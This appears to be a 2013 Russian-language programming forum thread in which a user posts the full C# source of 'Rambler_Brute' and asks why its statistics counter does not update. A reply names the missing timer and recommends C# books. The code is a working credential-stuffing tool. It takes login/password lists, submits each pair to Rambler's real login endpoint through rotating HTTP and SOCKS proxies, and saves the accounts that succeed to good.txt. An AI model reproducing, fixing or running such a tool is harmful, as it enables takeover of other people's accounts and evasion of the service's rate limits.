Загрузка...
Загрузка...

c# не работает статистика

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем Normiq, 04.08.2013.

  1. Normiq

    Normiq

    Статус:
    Оффлайн
    Регистрация:
    31.07.12
    Сообщения:
    155
    Репутация:
    160 +/-
    Незнаю в чём проблема , но не работает статистика вот коды:
    Checker.cs
    Код:
    using System;
    using System.Collections.Generic;
    using xNet.Net;
    
    namespace Rambler_Brute
    {
        public class Checker
        {
            public static string Check(string login, string password)
            {
    
                try
                {
                                using (var Request = new HttpRequest())
                {
                 HttpResponse Response;
    
                 if (Globals.TypeProxy == 1)
                 {
                     Request.Proxy = HttpProxyClient.Parse(GetProxy());
                 }
                 else if (Globals.TypeProxy == 2)
                 {
                     Request.Proxy = Socks4ProxyClient.Parse(GetProxy());
                 }
                 else if (Globals.TypeProxy == 3)
                     {
                         Request.Proxy = Socks5ProxyClient.Parse(GetProxy());
                     }
    
    
                    
                 
    
                 Request.AllowAutoRedirect = false;
                 Request.UserAgent = HttpHelper.RandomUserAgent();
    
                    Response = Request.Post("https://id.rambler.ru/login/iframe", "show=iframe&profile.login=" + login + "&profile.domain=rambler.ru&profile.password=" + password + "&button.submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8");
                    if (Response.Cookies.ContainsKey("rha"))
                    {
                        return "True";
                    }
                    else 
                    {
                        return "False";
                    }
    
                   }
                }catch{
                    Check(login, password);
                }
                return "";
            }
            private static string GetProxy()
        {
           Random Rand = new Random();
                return Convert.ToString (Globals.Proxy[Rand.Next(0,Globals.Proxy.Count)]);
        }
        
        }
    }
    
    Form1.cs
    Код:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    
    
    namespace Rambler_Brute
    {
        public partial class FrmMain : Form
        {
            public FrmMain()
            {
                InitializeComponent();
            }
    
            private void FrmMain_Load(object sender, EventArgs e)
            {
    
            }
    
            private void Thread_DoWork(object sender, DoWorkEventArgs e)
            {
                try
                {
                    for (int i = 0; i < Globals.CountSource; i++)
                    {
                        if (e.Cancel)
                        {
                            return;
                        }
    
                        string[] line;
                          line = Globals.Source[i].ToString().Split(Convert.ToChar(Globals.Delimiter));
    
                        if (Checker.Check(line[0],line[1]) == "True" ){
                        //GooD
                            SaveTxt("good.txt", Globals.Source[i].ToString());
    
                            Globals.CountGood += 1;
    
                        } else {
    
                            Globals.CountBad += 1;
                            //Bad
                            SaveTxt("bad.txt", Globals.Source[i].ToString());
                        }
    
                        Globals.PPS += 1;
    
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
    
            private void SaveTxt(string file, string text)
            {
                try
                {
                    StreamWriter write = new StreamWriter(file);
                    write.WriteLine(text);
                    write.Close();
                }
                catch(Exception ex){
                    MessageBox.Show(ex.Message);
                }
    
    
            }
    
            private void BtnSource_Click(object sender, EventArgs e)
            {
                var OpenFile = new OpenFileDialog();
                OpenFile.Filter = "*.txt | *.txt";
                OpenFile.ShowDialog();
                if (OpenFile.FileName != null)
                {
                    Globals.Source.AddRange(File.ReadAllLines(OpenFile.FileName));
    
                    Globals.CountSource = Globals.Source.Count;
                }
                else
                {
                    MessageBox.Show("Файл не выбран!");
                }
    
    
            }
    
            private void BtnProxy_Click(object sender, EventArgs e)
            {
                var OpenFile = new OpenFileDialog();
                OpenFile.Filter = "*.txt | *.txt";
                OpenFile.ShowDialog();
                if (OpenFile.FileName != null)
                {
                    Globals.Proxy.AddRange(File.ReadAllLines(OpenFile.FileName));
    
                    Globals.CountProxy = Globals.Proxy.Count;
                }
                else
                {
                    MessageBox.Show("Файл не выбран!");
                }
    
            }
    
            private void CbProxyType_SelectedIndexChanged(object sender, EventArgs e)
            {
                if (CbProxyType.Text == "HTTP")
                {
                    Globals.TypeProxy = 1;
                }
                else if (CbProxyType.Text == "Socks4")
                {
                    Globals.TypeProxy = 2;
                }
                else if (CbProxyType.Text == "Socks5")
                {
                    Globals.TypeProxy = 3;
                }
                
            }
    
            private void BtnDelimetr_TextChanged(object sender, EventArgs e)
            {
                Globals.Delimiter = BtnDelimetr.Text;
            }
    
            public  void GUI_Tick(object sender, EventArgs e)
            {
                string stat = " ";
    
                stat += "Source: " + Globals.CountSource + Environment.NewLine;
                stat += "Proxy: " + Globals.CountProxy + Environment.NewLine;
                stat += "Good: " + Globals.CountGood + Environment.NewLine;
                stat += "Bad: " + Globals.CountBad + Environment.NewLine;
                stat += "PPS: " + Globals.PPS + Environment.NewLine;
    
                TxtLog.Text = stat;
                Globals.PPS = 0;
    
            }
    
            private void BtnStart_Click(object sender, EventArgs e)
            {
                if (Thread.IsBusy)
                {
                    Thread.RunWorkerAsync();
                    BtnStart.Text = "Stop";
                }
                else
                {
                    Thread.CancelAsync();
                    BtnStart.Text = "Start";
                }
            }
        }
    }
    
    Globals.cs
    Код:
    using System;
    using System.Collections;
    
    
    namespace Rambler_Brute
    {
        public class  Globals
        {
            public static ArrayList Source = new ArrayList();
            public static ArrayList Proxy = new ArrayList();
            public static string Delimiter = ";";
            public static int TypeProxy = 1;
            public static int CountSource = 0;
            public static int CountProxy = 0;
            public static int CountGood = 0;
            public static int CountBad = 0;
            public static int PPS = 0;
        }
    }
    
    Program.cs
    Код:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    
    namespace Rambler_Brute
    {
        static class Program
        {
            /// <summary>
            /// Главная точка входа для приложения.
            /// </summary>
            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new FrmMain());
            }
        }
    }
    
     
  2. avQse

    avQse

    Статус:
    Оффлайн
    Регистрация:
    07.03.12
    Сообщения:
    481
    Репутация:
    518 +/-
    На GUI_Tick таймер не поставил.
    А вообще нечего юзать чужие исходы, сначала ЯП выучи.
     
  3. Normiq

    Normiq

    Статус:
    Оффлайн
    Регистрация:
    31.07.12
    Сообщения:
    155
    Репутация:
    160 +/-
    я это всё сам писал по видео уроку , хотел попробывать .И подскажи какую книгу лучше прочитать про с# или сайт
     
  4. avQse

    avQse

    Статус:
    Оффлайн
    Регистрация:
    07.03.12
    Сообщения:
    481
    Репутация:
    518 +/-
    Книги Троелсена и Шилдта